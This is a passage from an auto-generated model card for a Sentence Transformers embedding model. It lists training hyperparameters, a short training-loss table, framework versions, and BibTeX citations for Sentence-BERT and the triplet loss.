- `torch_empty_cache_steps`: None
- `learning_rate`: 5e-05
- `weight_decay`: 0.0
- `adam_beta1`: 0.9
- `adam_beta2`: 0.999
- `adam_epsilon`: 1e-08
- `max_grad_norm`: 1
- `num_train_epochs`: 1
- `max_steps`: -1
- `lr_scheduler_type`: linear
- `lr_scheduler_kwargs`: {}
- `warmup_ratio`: 0.0
- `warmup_steps`: 0
- `log_level`: passive
- `log_level_replica`: warning
- `log_on_each_node`: True
- `logging_nan_inf_filter`: True
- `save_safetensors`: True
- `save_on_each_node`: False
- `save_only_model`: False
- `restore_callback_states_from_checkpoint`: False
- `no_cuda`: False
- `use_cpu`: False
- `use_mps_device`: False
- `seed`: 42
- `data_seed`: None
- `jit_mode_eval`: False
- `use_ipex`: False
- `bf16`: False
- `fp16`: False
- `fp16_opt_level`: O1
- `half_precision_backend`: auto
- `bf16_full_eval`: False
- `fp16_full_eval`: False
- `tf32`: None
- `local_rank`: 0
- `ddp_backend`: None
- `tpu_num_cores`: None
- `tpu_metrics_debug`: False
- `debug`: []
- `dataloader_drop_last`: False
- `dataloader_num_workers`: 0
- `dataloader_prefetch_factor`: None
- `past_index`: -1
- `disable_tqdm`: False
- `remove_unused_columns`: True
- `label_names`: None
- `load_best_model_at_end`: False
- `ignore_data_skip`: False
- `fsdp`: []
- `fsdp_min_num_params`: 0
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
- `fsdp_transformer_layer_cls_to_wrap`: None
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
- `deepspeed`: None
- `label_smoothing_factor`: 0.0
- `optim`: adamw_torch
- `optim_args`: None
- `adafactor`: False
- `group_by_length`: False
- `length_column_name`: length
- `ddp_find_unused_parameters`: None
- `ddp_bucket_cap_mb`: None
- `ddp_broadcast_buffers`: False
- `dataloader_pin_memory`: True
- `dataloader_persistent_workers`: False
- `skip_memory_metrics`: True
- `use_legacy_prediction_loop`: False
- `push_to_hub`: False
- `resume_from_checkpoint`: None
- `hub_model_id`: None
- `hub_strategy`: every_save
- `hub_private_repo`: None
- `hub_always_push`: False
- `gradient_checkpointing`: False
- `gradient_checkpointing_kwargs`: None
- `include_inputs_for_metrics`: False
- `include_for_metrics`: []
- `eval_do_concat_batches`: True
- `fp16_backend`: auto
- `push_to_hub_model_id`: None
- `push_to_hub_organization`: None
- `mp_parameters`:
- `auto_find_batch_size`: False
- `full_determinism`: False
- `torchdynamo`: None
- `ray_scope`: last
- `ddp_timeout`: 1800
- `torch_compile`: False
- `torch_compile_backend`: None
- `torch_compile_mode`: None
- `include_tokens_per_second`: False
- `include_num_input_tokens_seen`: False
- `neftune_noise_alpha`: None
- `optim_target_modules`: None
- `batch_eval_metrics`: False
- `eval_on_start`: False
- `use_liger_kernel`: False
- `eval_use_gather_object`: False
- `average_tokens_across_devices`: False
- `prompts`: None
- `batch_sampler`: batch_sampler
- `multi_dataset_batch_sampler`: round_robin
</details>
### Training Logs
| Epoch | Step | Training Loss |
|:------:|:----:|:-------------:|
| 0.2393 | 500 | 0.1754 |
| 0.4787 | 1000 | 0.1994 |
| 0.7180 | 1500 | 0.209 |
| 0.9574 | 2000 | 0.1941 |
### Framework Versions
- Python: 3.11.13
- Sentence Transformers: 4.1.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.7.0
- Datasets: 3.6.0
- Tokenizers: 0.21.1
## Citation
### BibTeX
#### Sentence Transformers
```bibtex
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
```
#### BatchAllTripletLoss
```bibtex
@misc{hermans2017defense,
title={In Defense of the Triplet Loss for Person Re-Identification},
author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
year={2017},
eprint={1703.07737},
archivePrefix={arXiv},
primaryClass={cs.CV}
}
```
<!--
## Glossary
*Clearly define terms in order to be accessible across audiences.*
-->
<!--
## Model Card Authors
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
-->
<!--
## Model Card Contact
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
-->